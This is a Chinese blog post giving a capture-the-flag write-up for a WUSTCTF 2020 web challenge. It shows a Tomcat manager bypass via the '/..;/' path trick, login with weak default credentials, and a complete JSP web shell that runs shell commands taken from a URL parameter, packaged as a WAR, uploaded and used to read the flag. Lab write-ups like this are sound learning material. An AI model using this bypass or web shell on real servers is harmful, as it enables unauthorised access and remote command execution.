2025-08-28-每日一题

[WUSTCTF 2020]train yourself to be godly

打开环境,页面是 examples,
根据题目信息得知当前的 Tomcat 的 root 路径为 examples
apache中的tomcat/webapps目录如下
图片
manage目录是可以上传WAR文件部署服务,也就是说可以通过manage目录实现文件上传,继而实现木马上传

URL路径参数不规范引发的问题:
图片
可以看这篇
https://i.blackhat.com/us-18/Wed-August-8/us-18-Orange-Tsai-Breaking-Parser-Logic-Take-Your-Path-Normalization-Off-And-Pop-0days-Out-2.pdf
文章告诉我们可以通过 /..;/manager/html 进入到manager页面

当然也可以通过dirsearch扫目录,也能爆出/…;/页面
图片
进入页面后是这样的
但没其他的了
尝试访问不同的页面,点击Manager App发现有404提示,但是向我们透露了manager页面的路径,加上/…;/路径

图片
即访问/..;/manager/html

登录时要账户和密码
这里是弱密码 tomcat/tomcat

登录成功
之后我们先记录下参数Cookie和Authentication,后面要用
图片

点击查看代码
Authorization:Basic dG9tY2F0OnRvbWNhdA==
JSESSIONID=E5EB89A49EC40D17BE3EB73E6C498F09

有个文件上传页面
图片
图片
要上传一个war为后缀的文件

这里我们先构造一个shell.jsp

点击查看代码
<%@ page pageEncoding="utf-8"%>
<%
    if("admin".equals(request.getParameter("pwd"))){
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
        int a = -1;
        byte[] b = new byte[2048];
        out.print("<pre>");
        while((a=in.read(b))!=-1){
            out.println(new String(b));
        }
        out.print("</pre>");
    }
%>

之后我们要把这个打包成shell.war
使用命令
jar cvf shell.war shell.jsp
图片

之后我们上传抓包
图片
上传404
根据报错信息明显路径拼结完是example/manager/html/upload,缺少一个/..;/,加一个再试。
接着会发现401,未授权访问。是缺少了header里的认证,当然在成功访问后台时抓包也能看到自己的header中有认证头。
Authorization: Basic dG9tY2F0OnRvbWNhdA==后面就是tomcat:tomcat的base64编码。
继续上传,发现403。一般问题就出在cookie或者session没给,www没有目录访问权限身上。在cookie后加JSESSIONID=E5EB89A49EC40D17BE3EB73E6C498F09

像这样
图片
就上传成功了
之后就是命令执行了

url/..;/shell/shell.jsp?pwd=admin&cmd=ls /
图片

url/..;/shell/shell.jsp?pwd=admin&cmd=cat /flagggg
图片
拿到flag

参考:
https://hwlanxiaojun.github.io/2020/04/01/BUUOJ-web刷题(四)/#0x-02-WUSTCTF2020-Train-Yourself-To-Be-Godly

posted @ 2025-08-28 14:47  xinghe123*  阅读(5)  评论(0)    收藏  举报